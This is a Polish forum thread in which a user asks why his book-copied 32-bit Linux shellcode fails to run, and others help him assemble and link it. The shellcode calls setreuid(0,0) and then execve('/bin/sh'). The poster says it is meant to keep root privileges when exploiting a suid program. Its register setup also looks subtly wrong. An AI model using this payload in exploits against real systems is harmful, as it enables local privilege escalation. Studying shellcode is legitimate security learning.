Shellcode nie działa

[Ormi]

Mam takiego shellcode'a:

BITS 32

push byte 70
pop eax
xor ebx, ebx
xor ecx, ecx
int 0x80
push ecx
push 0x68732f2f
push 0x6e69622f
mov eax, esp
push ecx
push ebx
mov ecx, esp
cdq
mov al, 11
int 0x80

Następnie:
[ormi@localhost asm]$ nasm tinyshell.asm
[ormi@localhost asm]$ chmod +x tinyshell
[ormi@localhost asm]$ ./tinyshell
./tinyshell: line 1: jFX1�1�̀Qh//shh/bin��QS�ᙰ
̀: Nie ma takiego pliku ani katalogu

Czemu to nie działa?

[lukasz6547]

struktura dokumentu nasm wygląda nieco inaczej...po co wykonujesz to pierwsze przerwanie- przecież nie ma nic w rejestrze eax( zadna funkcja sie nie wywołuje)...przy drugim int znajduje sie numer 11 wiec jest to execve...oto przykład tylko przed włączeniem dobrze oprw w dokument nasm:
push %eax
dec %ebx
add (%esp),%eax
push $0xb
pop %eax
cltd
push %edx
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %edx
push %ebx
mov %esp,%ecx
int $0x80

i dopiero tu masz execve wywołane poprawnie jesli nie pomyliłem nic(dawno pisałem w assemblerze)

a co do oprawy to wejdz sobie na jakis kurs nasma i tylko dodaj co tam trzeba

[Ormi]

Pierwsze przerwanie systemowe to wywołanie funkcji setreuid(0, 0). Po co? Żeby przy wykorzystywaniu błedu w aplikacji z bitem suid była pewność co do tego, że przy powloka zostanie uruchomiona na prawach roota
Jak to w eax nic nie ma? Kładę na stos wartość 70, a następnie zdejmuję ją do rejestru eax...

[lukasz6547]

sorki...dawno programowałem- na początku wydało mi sie to bezcelowe...ale miałem racje ze struktura dokumentu wygląda zle

[Ormi]

Jedno mi się tylko nie podoba. Ten kod powinien działać! Jest linijka po linijce zerżnięty z książki... Więc nie wiem co i czemu jest nie tak...

[rip]

skompiluj to fasmem.

[Nikow]

Nie podałeś systemu, ale strzelam że to któryś z unixów.

nasm -f elf plik.asm
ld -o plik plik.o
./plik

Kod assemblerowy tłumaczy się ale nie linkuje, dlatego musisz użyć linkera (ld). Później wywołujesz program.

[Ormi]

System - Fedora 9. To co podałeś nic nie zmienia. Wyskakuje ten sam błąd co wcześniej...

[Nikow]

nikow@NikowHost:~/Desktop$ nasm -f elf test.asm
nikow@NikowHost:~/Desktop$ ld -o test test.o
nikow@NikowHost:~/Desktop$ ./test
nikow@NikowHost:~/Desktop$ cat test.asm
BITS 32
;by linker wiedzial co podlinkowac
global _start
_start:
;twoj kod
push byte 70
pop eax
xor ebx, ebx
xor ecx, ecx
int 0x80
push ecx
push 0x68732f2f
push 0x6e69622f
mov eax, esp
push ecx
push ebx
mov ecx, esp
cdq
mov al, 11
int 0x80
;dla poprawnego zakonczenia
mov eax, 1
xor ebx, ebx
int 0x80

System Debian Lenny GNU/Linux 2.6.25-2-686.

[Ormi]

Już działa! Wielkie dzięki